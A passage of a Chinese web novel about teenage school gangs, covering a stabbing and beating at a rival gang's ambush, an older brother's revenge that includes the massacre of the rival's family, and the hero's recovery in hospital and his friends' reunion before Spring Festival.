张霆琛也觉得奇怪:“是啊,不对劲。放学不管别的,拎起书包就走,告诉兄弟们别在学校停留。”他仔细交代完,心里却还是七上八下的。下课铃一响,想不出头绪的张霆琛索性不再琢磨,跑过去拉着梁颖就走,回头对李辰浩喊:“赶紧去接陈曦,咱们马上走!”
李辰浩顺顺利利接到了陈曦,一行人像往常周五一样走出校门。王涛突然笑道:“咱们这是不是自己吓自己啊?”“人家在暗咱们在明,真动手倒不怕,就怕他们合伙玩阴的!”张霆琛皱眉道。
梁颖一脸不解:“有你说的这么吓人吗?这可是学校啊!你太多心了。”张霆琛没再多解释,只对大家说:“好了,咱们找家远点的饭店吃顿好的,吃完直接回家!”王涛立刻欢呼:“这才对嘛!大放假的不吃顿好的多可惜!”一行人分乘五辆出租车离开,找了家干净的小饭馆点菜吃饭。可张霆琛总觉得心神不宁,李辰浩也没好到哪儿去。
谢诗韵用筷子敲了敲张霆琛的脑袋:“都出来了还愁眉苦脸的?就喜欢瞎琢磨!快吃!”张霆琛想想也是,都出来了还担心什么。可这时手机突然响了,屏幕上赫然显示着路译的名字。他心跳瞬间加速,总觉得要出事。接通后,路译半句废话没有,直截了当:“张霆琛,你的好几个兄弟在我这儿,你来不来?”
张霆琛心里咯噔一下,却强装镇定:“这些以前也是你的兄弟,你至于这么对他们?”“什么狗屁兄弟!背叛我的下场就该这样!你到底来不来?我们在学校外五公里的空地上!”路译说完直接挂了电话。知道了要发生什么,张霆琛反倒不紧张了。
所有人都盯着他,李辰浩急忙问:“怎么了?谁的电话,让你脸色这么难看?”“没事,路译那王八蛋说要动咱们的人,结果一个没找到,还放话说要我付出代价,简直有病!”张霆琛撒了个谎。
邓志辉骂道:“连自己人都不放过,真不是东西!”王涛满不在乎:“吃饭吃饭,这算多大点事!”张霆琛也附和:“对,不算事,好好吃好好喝!”又坐了一会儿,他说要去厕所,却独自一人打车往学校外五公里的郊区赶去。把这几天的事串起来一想,张霆琛得出结论:刘振平、路译肯定联合了,加上高三的龙镇宏、李耀,现在又多了个赵丰年。在他看来,自己这点人去了就是送菜,无非挨顿揍。可这次,他算错了。
张霆琛下车后,只见空地上黑压压挤满了人,高一、高二、高三的都有,把整个空地占得满满当当。他们看到张霆琛,个个虎视眈眈。路译他们几个为首的走过来,龙镇宏在前面拍着手:“不错啊,不愧是高一的新星,就是有魄力,一个人就敢来!”
赵丰年一脸诧异:“你不知道这儿要打架?”张霆琛冷笑:“废话少说,我的人呢?”路译一招手,几个被打得鼻青脸肿的人被带了上来。他们看到张霆琛独自前来,眼圈都红了,其中一个叫陈永的喊道:“琛哥你赶紧走!别管我们!”话没说完,就被身后的刘振平一棒球棍砸在后背上。刘振平嘲笑道:“自己都难保了,还废话!”
张霆琛见状瞬间急了,盯着路译:“都说好了我来换他们,赶紧放人!”路译哈哈大笑:“放人?你凭什么跟我谈判?你现在有资格吗?”龙镇宏站出来问:“张霆琛,被围在这儿,有什么感想?”张霆琛怒了:“只要今天弄不死我,老子豁出去跟你们拼了!”
“好一个豁出去!我倒要看看你怎么拼!”路译举着棒球棍就冲过来,可张霆琛身手何等利落,一个侧身躲过,顺势上前用巧劲制住路译,掐着他的脖子:“放人!”
路译毫无惧色:“有本事你掐死我!”此刻他满脑子都是报仇,别的根本不在乎。
张霆琛见威胁无效,从后腰掏出从李辰浩包里偷来的刀,抵在路译脖子上:“你就真不怕?”路译嗤笑:“有本事就杀了我,杀不了就把刀放下!”张霆琛正没辙,一时愣神的功夫,路译突然从裤兜里掏出一把小刀,向后一扎,直接刺入张霆琛的侧肋。张霆琛吃痛松开手,路译趁机推开他逃了出来。这动作又快又隐蔽,加上天黑人多,没人看清路译动了刀子。
脱离控制后,路译大喊:“动手!今天就是报仇的时候!”众人见状要上前,张霆琛捂着肋下,举刀指着周围:“谁先来送死!”这一下竟没人敢动——谁都知道他身手好,怕挨刀子!刘振平喊道:“用棍子扔他!我就不信他能全躲开!”众人不敢上前,只能在旁边扔棍子。张霆琛能躲一个,却躲不开接踵而至的攻击,何况还受了伤。不一会儿,好几根棒球棍砸中他,张霆琛半跪在地上,手里的刀却死死攥着,即便这样,仍没人敢上前碰他一下!
另一边,李辰浩见张霆琛半天不回,问刚从厕所回来的王涛:“你看见小琛没?”“没有啊!”王涛摇头。李辰浩赶紧给张霆琛打电话,却是关机。他下意识摸了摸包里的刀,发现少了一把,瞬间吓坏了!李辰浩猛地站起来,大脑飞速运转,其他人都一脸茫然地看着他,还以为他发神经。想了几秒,他突然喊道:“不好!张霆琛一个人去救人了!”
“什么?你说什么大哥!他一个人去救谁?”邓志辉紧张地问,其他人也都盯着李辰浩。李辰浩抱着脑袋:“你们记不记得他说路译要动咱们兄弟?”“记得啊,刚才打电话时说的!”梁颖说。
“他还说什么了?!”李辰浩失控地抓着梁颖的肩膀。他和张霆琛总有种默契,打心底觉得今天的事不简单,才会如此紧张。大家见他这模样,知道不是开玩笑。梁颖带着哭腔:“我好像听见电话里说,学校外的空地!”
李辰浩立刻道:“对!他肯定去学校外的空地救人了!”
谢诗韵急问:“你怎么知道?”李辰浩一边往外跑一边喊:“我的刀被他拿走了!”这下所有人都慌了,没人知道张霆琛拿刀去做什么!
李辰浩和邓志辉他们打车赶路,心急如焚。这时李辰浩的手机响了,是个陌生号码,他想都没想就接了。
再看张霆琛这边,他已经快撑不住了。刘振平见他不行了,第一个捡起地上的棍子,朝着张霆琛的脑袋狠狠砸下去。鲜血瞬间浸湿了他的衣服,其他人见状也一拥而上。张霆琛此时已没了知觉,连反抗的意识都快消失了。就在这时,好几辆出租车疾驰而来,车还没停稳,李辰浩已经窜了出来。路译他们见状笑道:“又来一个送死的!”
李辰浩直接冲进人堆,手里的刀胡乱挥舞,嘴里大喊:“都闪开!”众人竟被他逼得让开一条路。当他冲到中间,看到瘫在地上浑身是血的张霆琛时,眼圈瞬间红了。他赶紧抱起张霆琛,可不知是谁从后
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面一棒子砸在他脑袋上,李辰浩眼前一黑,倒在了地上。动手的是路译,他冷笑道:“接着打这个!”
刘振平有些不安地对路译说:“你是不是有点过了?今天差不多就行了!”“怎么,你怕了?”路译鄙视地看着他。
旁边的龙镇宏和赵丰年也劝:“是啊,走吧,今天这事确实有点过了!”他们正说着,邓志辉他们也赶到了。邓志辉朝着地上的张霆琛跑去,眼尖地发现张霆琛正使劲捂着肋下。他拉开张霆琛的手,瞬间惊呼:“谁他妈动的刀子!谁捅的人!”
刘振平和其他人早就不想玩了,他对邓志辉说:“我们就用棒球棍打了几下,动刀子的只有张霆琛自己!”“不对!肯定还有人!”邓志辉懒得争辩,抱起张霆琛就要走,土狗他们赶紧上前帮忙。
这时,几个黑衣人突然出现,领头的用围巾捂着脸,径直走向抱着张霆琛的邓志辉,没等他反应就接过张霆琛。这人突然红了眼眶,把张霆琛交给身后的人,自己则走向人群。所有人都怯怯地看着他,他开门见山:“那一刀是谁捅的?脑袋上那下是谁打的?”
路译本想今天把张霆琛彻底留在这儿,没料到杀出几个黑衣人,他指着领头的骂道:“**算什么东西!”话音未落,那人已经闪到他身边,淡定地说:“你手上有血。”接着一把抓住路译的手腕,从他兜里搜出那把小刀,冷声道:“是你捅的。赶紧跑,看我能不能找到你!”说完把路译扔了出去。
他又问:“脑袋上那下是谁打的?”众人齐刷刷看向刘振平。那人突然笑了,指着刘振平:“是你啊。不过别紧张,我不会杀你。打架受伤难免,但你得为这事付出代价!”说完转身就走。张霆琛已经被先送走了,邓志辉他们一脸茫然地看着他,那人却笑了笑:“谢谢你们。”
张霆琛被黑衣人直接送往医院。手术室门外,所有人都焦急等待,只有李辰浩在楼梯口跟领头的黑衣人说:“对不起,我没保护好他。”“这事不赖你,就当给你们长个教训。别以为会点功夫、带把刀就天下无敌,你们还只是学生。其他的别多想。”
“真不知道手术能不能成功……”李辰浩自责道。那人冷笑一声:“我慕容景云的弟弟,没那么容易死!”说完便独自离开了。接下来,便是漫长的等待。
半夜时分,医生终于从手术室走出来,擦着汗说:“幸好病人身体素质好,不然很难挺过来!刀尖离肺部只差一毫米!”所有人这才松了口气,梁颖直接晕在了门外。这事太突然,怕张泽夫妇担心,大家没敢通知他们。李辰浩急忙问:“我们能进去看看吗?”
医生摇摇头:“不行,病人需要休息。你们留一个家属在这儿看护,跟我办住院手续,其他人先回家吧,在这儿也帮不上忙。”李辰浩对其他人说:“你们都回去吧,这里有我就行,家里该担心了。”
醒过来的梁颖含着泪:“那麻烦你了,我明天再来。”其他人也纷纷道别离开。慕容景云走时给李辰浩留了一笔钱,李辰浩从中拿出十五万,十万交了住院费,剩下五万分别塞给护士和主治医生当红包。医生起初还推辞,看到钱的数额,便半推半就地收下了,这就是现实的医院。
所有人都走了,只有陈曦坚持要留下,李辰浩却说:“你先回去安抚下两位老人,编个借口,别让他们知道这事。”“好吧,那今天就辛苦你了。”陈曦说完,转身回家了。
第八十五章:灭门
慕容景云回到容市,没做任何停留就直奔父亲慕容廷的办公室。还没进门,他先在门口深吸了口气,他知道自己办了出格的事,少不了要被老爸狠狠骂一顿。谁知推门进去,慕容廷不仅没发火,反而点头道:“这次的事做得不错!唯一不妥的是,你不该在小琰那么多朋友面前露面。”
慕容景云如释重负地坐下,语气带着狠劲:“没办法,路家那小子竟敢动刀子,简直找死!昨晚让我捅了四十多刀,算是偿命了。”“哼,敢动我们慕容家的人,就得有这觉悟!”慕容廷沉声道。
慕容景云反倒纳闷了:“您今天怎么不对劲?以前我这么干,您早气得吹胡子瞪眼了。”“气死我对你有好处?混蛋!难道我就不能心疼自己儿子?”慕容廷瞪了他一眼。
“不是不能,就是您平时不爱表现嘛!”慕容景云挠挠头,“看见小琰被打成那样,我气疯了!那个砸他脑袋的,让我挑了手筋,也算出口恶气!”
“行了,说正事。”慕容廷脸色一沉,“找到白蝎了吗?”
慕容景云无奈摇头:“没找到本人,只抓到他一个手下。本想带回来审问,结果那家伙直接**了。”
“哦?白蝎还能训练出这种死士?倒是小看他了。”慕容廷手指轻叩桌面,“现在他投靠了黑三,黑三不敢明着用,就把他塞给路家,想借路家的手打压广市的**龙头谢家,结果被咱们一锅端了。”
慕容景云挑眉:“我就是想让他们互相猜疑,咱们正好能在广市站稳脚跟。”“这步棋走得不错。”慕容廷点头,“现在最要紧的是找到白蝎。他走的时候带走了刘文殊不少东西,还有一份**。”
慕容景云若有所思:“您是说那份让李昂坐立难安的资料?白蝎这是想借青帮的势力杀回来啊!”“爹,到底是什么文件这么重要?您一直瞒着我!”他忍不住追问。
慕容廷瞥了他一眼:“你还太嫩,不知道就别问,自己慢慢琢磨去,做事得动脑子。”正教训着,陈海推门进来,嘴角带着笑意:“大哥,别刁难小云了。听说小琰已经度过危险期了?”
“是啊,要是真出点事,我怎么向他过世的妈交代。”慕容廷这话一出,办公室瞬间陷入沉默。陈海先打破僵局:“那份资料的内容查实得差不多了,是刘文殊为了稳住当地政府,暗中调查的各级官员犯罪、**、**的证据,堪称官场黑料大全。”
慕容廷和慕容景云同时倒吸一口冷气。这要是让白蝎拿到足够人手杀回来,李昂未必能顶得住!慕容廷当即下令:“所有手头的事都先放下!让犬组、影队全力去找白蝎。那份资料必须拿到手,就算拿不到,也绝不能落入青帮手里。见到白蝎先别杀,等拿到资料再说!”陈海领命退下。
慕容景云突然笑道:“爹,您是不是之前也不知道资料具体内容啊?”慕容廷老脸一红,抓起桌上的烟灰缸就朝他砸去。慕容景云手疾眼快接住,脸上还挂着笑,丝毫没有愧疚:“您还是先想怎么追资料吧,把我打坏了,谁给您鞍前马后?”说完头也不回地跑了出去。
办公室里传来慕容廷的怒骂:“小兔崽子!翅膀硬了是不是?找死!”慕容景云在门口嘀咕:“呵呵,谁让您把小琰一个人丢在那儿,也该气气您。”这话要是让慕容廷听见,少不了一顿家法伺候。
镜头转回广市的医院。张霆琛还打着吊瓶,戴着氧气呼吸器,脸色苍白得吓人。他不顾危险孤身去救刚投诚的兄弟,这事让所有跟着他的人又感动又心疼,可身边几个核心兄弟却满是火气,气他太冲动,竟敢独自赴险!
一大早,医院门口就聚满了人。大家听说张霆琛度过危险期,都想进去看一眼,却被医生死死拦住。病房门口,李辰浩对邓志辉说:“先让大家回去吧,等小琛醒了再通知他们。这么多人聚在这儿不像样,别在医院**。”张霆琛不在,李辰浩自然成
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了主心骨。他平时话不多,却自带一股威严,大家早已把他当成二当家。
邓志辉点头:“我知道了。”转头对王涛说,“你去跟大家说,先回去等消息,这是医院,别添乱。有情况我第一时间通知你们。”王涛干脆利落地去执行命令。
邓志辉这才凑近李辰浩,压低声音:“刚得到消息,路译一家被灭门了。”李辰浩脸上没半点惊讶,轻描淡写:“本就该有这下场。”邓志辉反倒吃了一惊:“大哥,您怎么这么冷静?这可是灭门**!路译一家老小没一个活口,他自己肋下被捅成了筛子……”
李辰浩淡淡道:“多余的别问。灭门是过激了点,但也算罪有应得。不是做哥哥的瞒你,咱们老大是小琛,有些事他没开口,我不能乱说。路译的死,咱们别往外传,跟你爸也别提咱们和路家的过节。”
邓志辉想了想,认真道:“我明白。早上出来时听我爸说路家灭门,我当时吓了一跳,但没提小琛的事。”“这就对了。”李辰浩拍了拍他的肩膀,“咱们想成事,得靠自己。不该说的话一句都别漏。不是不信你父亲,咱们兄弟交心,你对大家的情义没话说,但在利益面前,谁能保证不会变?这世道,人心最难测。”
邓志辉非但没生气,反而心里一暖。这话要是别人说,他早翻脸了,可李辰浩向来沉稳,能这么坦白地交心,显然是把他当自己人。他用力点头:“我懂了。”
见邓志辉没往心里去,李辰浩松了口气。这话他憋了很久,生怕说出来伤了兄弟情,现在看来是多虑了。他笑着问:“门口这些人,是你叫过来的?”
邓志辉咧嘴一笑:“那必须的!不把二哥这么英勇的事传开,以后怎么带队啊?”李辰浩也笑了,胳膊自然地搭在他肩上:“这事做得漂亮,以后咱们的人只会越来越多。”邓志辉有些受宠若惊,李辰浩向来沉稳内敛,能这样勾肩搭背,足见是真把他当兄弟了。
第八十六章:病房暖意
大部分人离开后,病房里就只剩下张霆琛身边的这些人,每个人的眼神里都裹着焦灼与期盼,盼着他能早点睁开眼。角落里的梁颖还在心里暗暗埋怨,嘴上却没停:“这张霆琛就是太冲动,总爱硬碰硬!”
陈曦在一旁轻轻拍着她的背安抚:“好啦,我知道你担心他。可你想想,要是他没这点不服输的棱角,你当初还会那么佩服他吗?”梁颖红着眼眶,声音带着哭腔:“可棱角也太多了!怎么又一个人去打架?别人安安分分的不好吗?打架就那么痛快?这次差点把自己搭进去!”
李辰浩在一旁暗叹口气,朝谢诗韵扬了扬下巴:“谢诗韵,你过来一下。”说完便转身往医院楼道走去。谢诗韵没多问,快步跟了上去。楼梯口的窗户边,李辰浩点了支烟,谢诗韵歪头问:“大哥,啥事啊?”
“怎么也跟着叫大哥了?”李辰浩挑眉。“我虽没跟你们拜把子,可早就是你们一伙的了呀!”谢诗韵笑着说。李辰浩吐了个烟圈:“既然是自己人,是不是该为这个圈子担点事?”谢诗韵眨眨眼:“大哥有话直说。”
李辰浩单刀直入:“我想让你把昨天的事全忘了。你什么都不知道,更不能跟家里提半个字。”谢诗韵想都没想就点头:“行!没问题!”李辰浩倒有些惊讶:“你不好奇为啥不让说?”
“问了您会说吗?”谢诗韵耸耸肩,“我猜就连跟你们最亲的邓志辉都未必知道内情。你们不说,我就不问。反正总有一天会告诉我的。”李辰浩心里暗暗点头,这姑娘比梁颖懂事多了。他又试探着问:“你知道路家灭门的事?”
谢诗韵一脸淡定:“知道啊,我爸都急疯了。现在道上的人都怀疑是他干的,说他不讲规矩,连老人小孩都不放过!”李辰浩心里一紧,这事绝不能让谢诗韵的父亲知道。他正琢磨着怎么开口,谢诗韵反倒先说道:“昨天的事和路家的事,稍微想想就知道是谁干的。但我不会跟我爸说,这事跟我没关系。说白了,我就是想护着张霆琛。”
李辰浩又惊又喜,这姑娘不仅通透,还这么护着自己人。他拍拍她的肩:“张霆琛那边你得自己问他,但今天说的话必须烂在肚子里,不能让任何人知道!”谢诗韵不耐烦地摆手:“知道啦大哥!你比我妈还啰嗦!”话音刚落,陈曦就气喘吁吁地跑过来:“快!二哥醒了!”
李辰浩和谢诗韵对视一眼,拔腿就往病房冲。到了门口,只见病房里已经围满了人。医生皱着眉说:“只能待两分钟,病人需要静养,别大声说话!”李辰浩走到病床边,眼圈瞬间红了。张霆琛看见他,勉强扯出个笑:“大哥,多大的人了还哭鼻子”
李辰浩笑着摇头:“你可把我们急坏了。以后不准再一个人冒险了。”梁颖赶紧挤上前:“就是!你看看这次多危险,以后不准再这么冲动!”
张霆琛苦笑着叹气:“没想到路译那孙子敢捅我一刀,是我大意了。等我好了,这仇必须报!”他还不知道路译已经**。
梁颖急得提高了音量:“张霆琛!报什么仇?为什么不报警?让法律制裁他啊!”陈曦赶紧拉住她,柔声对张霆琛说:“二哥你别怪她,她就是太担心你了。”又转头对梁颖说:“你小声点,别让二哥动气。”
这时谢诗韵走上前,笑着打趣:“张霆琛,睡了这么久,有没有梦到我?”张霆琛抬头看见她,有些意外又有些感动:“谢谢你来看看我。”“跟我还客气什么?真讨厌!”谢诗韵假装生气地撇嘴。
“时间到了,你们先出去吧。”医生开始催促。大家只好依依不舍地起身。李辰浩走到床边,在他耳边轻声说:“你想问的事,我知道。你哥来过,是他救了你,现在已经走了。安心养病,其他事以后再说。”张霆琛听着,眼角悄悄滑下一滴泪。
大家刚走出病房,邓志辉就拉住医生问:“我兄弟多久能好?”医生沉吟道:“他身体素质不错,大概需要一个月。记得多给他买点补品。他的家长怎么没来?”
“去外地了,暂时赶不回来。”李辰浩抢先说道。医生不放心地叮嘱:“最好还是让家长来照顾,你们这些孩子我不放心。”李辰浩连忙说:“我们会尽快联系他们的,麻烦您多费心了。”他偷偷塞了个红包给医生,医生收下后,脸色明显缓和了不少。
等人都走得差不多了,李辰浩对陈曦说:“还是得告诉干爸干妈一声,快过年了,瞒不住的。”陈曦点点头:“我知道了,一会儿就回去说。你先在这儿守着,下午我来换你。”
“去吧。”李辰浩看着她离开,又转头四处张望,发现谢诗韵不见了踪影。正纳闷呢,谢诗韵就跑了过来,手里拿着个证件:“给你!”李辰浩接过一看:“陪护证?你怎么弄到的?我昨天问都说没有了。”谢诗韵得意地扬下巴:“这就是能力!”
“臭美!”邓志辉在一旁打趣。梁颖瞥了谢诗韵一眼,眼神里带着点嫉妒。“邓志辉!你说谁呢?信不信我去彭思思那儿告状?”谢诗韵叉着腰威胁。
邓志辉赶紧求饶:“我错了我错了,一会儿请你吃饭还不行吗?”“这还差不多!”谢诗韵转身就走,邓志辉赶紧跟上去。其他人也跟着离开了,只有陈曦走过来对李辰浩说:“这谢诗韵还真有本事,要是…”
“小琛的事让他自己决定吧,不过她要是真心的,也挺好。”李辰浩说。“那我先回去了,下午来替你。”陈曦说完便离开了。李辰浩望着她的背影,喃喃自语:“这姑娘,真是不可多得啊。”
接下来的日子,陈曦和李辰浩轮流守着张霆琛,其他人每天上午来探望,偶尔梁颖会守一整天。到了第六天,张霆琛的
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精神明显好了很多。李辰浩拿着水果刀削苹果,说道:“精神不错啊,跟你说点正事。”
张霆琛转过头:“什么事?”“路家被灭门了。”张霆琛猛地坐起来:“什么?这几天怎么没人告诉我?”“怕影响你休息,让知道的人都先别说了。”李辰浩把削好的苹果递给他。
张霆琛皱紧眉头:“怎么回事?谁干的?”李辰浩指了指他,又指了指天上:“你觉得还能有谁?”张霆琛摇头:“不可能,我哥再冲动,也不会**家全家啊。”
“我也觉得不对劲。”李辰浩坐到床边,“所以事情肯定没那么简单。先不说是不是他干的,就算是,也不全是为了给你报仇。我们去找你的时候,我接到他的电话,问你在哪,说想见你。可他要是真想见你,不会带着那么多黑衣人。我猜他是带着任务来的,杀路家是计划好的。”
张霆琛沉默着,觉得李辰浩分析得有道理。可他想不通,路家和自己家到底有什么深仇大恨,要做到这种地步。
正说着,陈曦推门进来:“你们声音小点!被别人听见怎么办?我说你们别总想家里的事了,过好自己的日子就行,想不通的事就别钻牛角尖!”
张霆琛想想也是,便不再纠结。只是没能好好见见哥哥,心里总觉得遗憾。这时张泽和何欣走了进来,张泽一进门就问:“小琛,感觉怎么样了?”
张霆琛想坐起来,何欣赶紧按住他:“别动别动,你现在还不能动,听话躺下。”张霆琛只好乖乖躺下,何欣坐在床边,摸着他的手问:“还疼吗?”“早不疼了。”
“你这性子跟你……”张泽本想说“跟你爸慕容廷”,话到嘴边又咽了回去。何欣瞪了他一眼,赶紧打圆场。陈曦连忙搬来椅子:“干爸干妈怎么来了?早说一声我去接你们啊。”
“不用不用,医院离家里就几站地,坐公交很快。”何欣笑着说。张霆琛望着他们,心里一阵温暖,家的感觉再次涌上心头。张泽说道:“你得养一个月,可一个月后就过年了。到时候看情况,身体行就回家过年,不行就在医院过。”
“你这老头子,咱们又不是没钱,请医生回家不行吗?就知道心疼钱!”何欣在一旁打趣。张泽一脸无奈,张霆琛赶紧说:“爸妈你们别吵,我的身体我清楚,肯定没事!估计半个月就能出院了,你们别争了。”
这声爸妈让张泽和何欣心里甜滋滋的。何欣笑着对张泽说:“你看看咱孩子多懂事,再看看你,为老不尊!”“我怎么就为老不尊了?”张泽假装生气。何欣见他真要急,赶紧笑道:“好好好,我错了还不行吗?真是开不起玩笑!”
大家都笑了起来,张泽这才哭笑不得地摇摇头。看着老两口拌嘴,张霆琛心里暖暖的,突然觉得,要是能放下过去的恩怨,过这样的日子也挺好。
第八十七章:出院
转眼间半个月过去,离春节越来越近,张霆琛在医院里早就待不住了,天天吵着要出院。医生虽承认他恢复得快、底子好,却始终不敢松口,怕出去有什么闪失。这天午后,张霆琛正靠在床头看电子书,陈曦推门进来,伸手就把手机抽走:“二哥都说多少遍了,别总看这个,伤眼睛又费神!”
张霆琛苦着脸叹气:“哑铃不让举,俯卧撑不让做,现在连看书都管!这哪是养病,分明是坐牢啊!”陈曦把手机揣进兜里:“有短信我再叫你,现在乖乖歇着,要不就睡会儿。总之不准瞎折腾!”
张霆琛急得要下床抢手机,陈曦灵巧地躲到门口:“越说越不老实!再闹就把你锁屋里,看你还怎么蹦跶!”“好妹妹,我真好了!”张霆琛放软语气,眼神里满是恳求,“天天躺着睡觉,骨头都快锈了。就让我出院吧,再待下去我要疯了!”
陈曦犹豫了一下:“那我去问问医生,回头叫上大哥一起商量。你先安分躺着,听见没?”张霆琛见有转机,立刻乖乖躺好,闭眼装睡:“保证听话!现在就睡!”陈曦捂着嘴偷笑,轻轻带上门出去了。
中午时分,张霆琛虽闭着眼假寐,警惕性却没松懈。忽然察觉到身边有动静,他猛地睁眼,一拳就挥了过去。拳头落空的瞬间才发现打错了人,王涛正捂着嘴蹲在地上,疼得直哼哼。
张霆琛又惊又窘:“你干嘛鬼鬼祟祟的?这下好了,打错人了吧!”话音刚落,病房门被推开,梁颖、邓志辉和一群兄弟涌了进来。张霆琛傻乎乎地看着他们,满脸疑惑。
李辰浩走上前,拍了拍王涛的后脑勺:“早说让我来试,你偏要逞能。挨揍了吧?让你平时多锻炼不听,现在知道厉害了?”
王涛捂着嘴站起来,委屈道:“大哥,我天天练着呢!谁知道二哥恢复得这么快”张霆琛这才反应过来:“你们这是在试我?那我是不是过关了?能出院了?”
梁颖坐到床边,嗔怪道:“就知道惦记出院,不能安安分分多养几天吗?”张霆琛撸起袖子亮出胳膊:“你看这肌肉都快松了!再不出去活动,回头连王涛都打不过了!”“就知道打架!”梁颖气鼓鼓地别过脸。
王涛不乐意了:“什么叫连你都打不过?二哥你等着,不出三个月,我肯定能超过你!”他话音刚落,李辰浩就一巴掌拍在他头上:“就你?三个月能打过你五哥就不错了,还想超过二哥?做梦!”土狗在一旁傻呵呵地插话:“先赢了我再说吧小涛子!”一句话逗得全场哄笑。
张霆琛赶紧追问:“到底能不能出院啊?”陈曦板着脸说:“原则上可以,但不许剧烈运动!你的伤可不是小伤,要是敢违反规定,立刻给你送回医院!”张霆琛哪还管什么规定,只要能出院就行,连忙举手保证:“一定听组织指挥!绝不犯错,否则自愿回医院反省!”他嘴上这么说,心里早盘算着出院后怎么撒欢了。
一群人热热闹闹地收拾东西,簇拥着张霆琛往外走。张霆琛拉着梁颖的手走在前面,其他人说说笑笑跟在后面。到了医院门口,他忽然愣住,一排穿着粉色羽绒服的少年整整齐齐站在那儿,全是自家兄弟。为首的是陈永,还有那天被他救下的几个人。
见张霆琛出来,陈永带着众人上前,深深鞠了一躬。张霆琛赶紧扶住他们:“这就见外了啊!”陈永眼眶微红:“琛哥,我们代表弟兄们谢谢你!那天要不是你,我们被路译抓去的就不止这几个了。你不顾自己安危救我们,这份情我们记一辈子!”他顿了顿,声音铿锵有力,“从此以后,兄弟们唯琛哥马首是瞻!”身后的少年们齐声喊道:“唯琛哥马首是瞻!”
张霆琛心里一暖,拍了拍陈永的肩膀:“以后都是兄弟,我张霆琛有一口吃的,就少不了你们的!谁敢欺负我兄弟,我第一个不答应!”
一旁的梁颖悄悄皱起眉,她多希望张霆琛能安安稳稳读书,考个好大学,找份正经工作,可他的心思显然不在这上面。但她没把不高兴挂在脸上,这么多人面前,总得给张霆琛留面子。
李辰浩适时开口:“好了,别在医院门口堵着了,走,吃饭去!”“哦!”一群人欢呼着往酒楼走。张霆琛边走边问陈曦:“爸妈知道我出院了吗?”“早
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通知了,他们让你晚上回家吃饭,不许玩太晚,怕你累着。”陈曦说。张霆琛开心地伸了个懒腰:“走着!吃饭去!”
他们去的是学校门口那家小酒楼,到的时候**和韩越已经在门口等着了。张霆琛赶紧上前打招呼:“越哥,鸣哥,你们怎么也来了?”
韩越笑着说:“听说你出院,怎么也得来凑个热闹!住院时没敢打扰,出院再不露面,就太不给你面子了吧?”“哥几个太抬举我了!”张霆琛客气道。
**凑近他,压低声音:“听说你找人挑了刘振平的手筋?够狠啊!跟哥哥说说,是你手下哪个兄弟干的?”张霆琛心里一惊,他根本不知道刘振平手筋被挑的事,面上却不动声色,笑着打岔:“鸣哥这话说的,你还能打我兄弟的主意?”
**赶紧摆手:“瞧你说的,我哪敢啊!走走走,吃饭去!”一群人热热闹闹走进酒楼,张霆琛、李辰浩和**、韩越坐主位,梁颖和谢诗韵挨着坐下。韩越忽然开口:“现在张霆琛就是高一的老大,其他人都得靠边站!”
张霆琛连忙站起来:“飞哥别这么说,我……”“别急着谦虚。”韩越打断他,“不过这老大的位置,外面还没全认。听说你跟高三的赵丰年他们结仇了?”
张霆琛无奈地笑了笑:“不知道是不是我招苍蝇体质,总有人找上门来。”韩越挑眉:“我们上高一时也这样。说吧,要不要哥几个帮你?”
张霆琛想都没想就说:“多谢两位哥哥好意,我的事还是想自己解决。”**一拍桌子:“好!我就欣赏你这股劲儿!我倒要看看你怎么收拾赵丰年他们。不过兄弟提醒你,咱们学校水深,别太较真,不是谁都能得罪的。”
张霆琛眯起眼,嘴角勾起一抹自信的笑:“兵来将挡,水来土掩!我张霆琛不惹事,但也不怕事。谁要是敢动我和我兄弟,不管他是谁,都得付出代价!”
他这股劲儿让韩越很欣赏,心里暗暗盘算着,要是能把张霆琛拉到自己这边就好了,这种人才可不多见。但他也知道,张霆琛不是池中之物,想收服他,还得费点心思。
第八十八章:盼归期
转眼就到了春节,一大早家里就热闹起来,所有人都忙着打扫卫生、贴春联。何欣总说不用他们动手,可张霆琛几个还是抢着帮忙,唯独张泽缩在沙发上看电视,为此何欣没少念叨他“懒骨头”,张泽却依旧我行我素,半点不碰家务。
正忙得热火朝天时,陈曦的手机响了,屏幕上跳动着一串陌生号码。自从被高三的赵丰年一伙骚扰后,她对陌生来电总是格外警惕,犹豫了半天还是接了起来。
电话那头传来的声音,熟悉得让她心头一颤,是她日夜惦记的苏旭。“怎么这么久才接电话?”苏旭的声音带着点沙哑。陈曦愣在原地,半天没回过神。苏旭以为出了什么事,急忙追问:“小曦?怎么了?说话啊!”
陈曦这才反应过来,声音瞬间哽咽:“大哥!二哥!是苏旭!苏旭打电话来了!”她对着电话喊道,“你跑哪儿去了?这么久一点音讯都没有!知不知道我们有多着急?”苏旭听出她的委屈,连忙解释:“对不起媳妇,我到这儿就开始封闭式训练了。我现在在哪儿不能说,是机密,等回去再跟你细讲。电话有人监听。”
这时张霆琛和李辰浩快步走了过来。陈曦吸了吸鼻子,放缓语气:“没事就好,训练累不累?”“怎么说呢,以前在家真是身在福中不知福。”苏旭的声音透着疲惫,却带着股韧劲,“这里的日子不是人过的,但我能挺过去。将来回来帮二哥闯天下!”
话音刚落,陈曦的眼泪就掉了下来。她把手机塞给张霆琛,转身跑进了厕所。电话里苏旭急了:“小曦怎么了?我说错什么了?”张霆琛接过电话,无奈道:“别喊了,你把她惹哭了。一听说你受苦,她能不心疼吗?”
“我就说训练苦,没说别的啊”苏旭哭笑不得。张霆琛叹了口气:“先不说这个。你怎么突然人间蒸发了?手机也打不通。”苏旭在那头苦笑:“来了这儿才知道,手机、身份证全被收了,就春节才允许打一个电话,还得被监听。”
“你去的是军队?”张霆琛追问。“二哥,电话里真不能多说,以后我慢慢告诉你。”苏旭的声音沉了下来,“我估计得在这儿待好几年,回不去。想想以前咱们一起瞎闹的日子,真是太幸福了。”
张霆琛听出他语气里的无奈,心里一酸:“小旭,要是受不了就回来,没必要这么熬着自己!”“二哥你别这么说。”苏旭的声音突然坚定起来,“你当初为了我连命都敢拼,我这点苦算什么?再说了,想回也回不去啊。”
“为什么回不去?你到底在什么地方?钱子轩呢?他把你送哪儿了?”苏旭的笑声带着点苦涩:“他送我到这儿就走了,说五年后来接我。这里规定,五年内不准见外人。”“操!那钱子轩不是坑人吗?”张霆琛急了,“我怎么觉得你那儿不对劲?你赶紧想办法回来,别在那儿受罪了!”
“二哥,路是我自己选的。”苏旭的语气异常郑重,“当初决定走这条路,我就没想过回头。将来就算……就算不在了,我的墓碑也得朝着太阳升起的方向,脚步不会停的。”
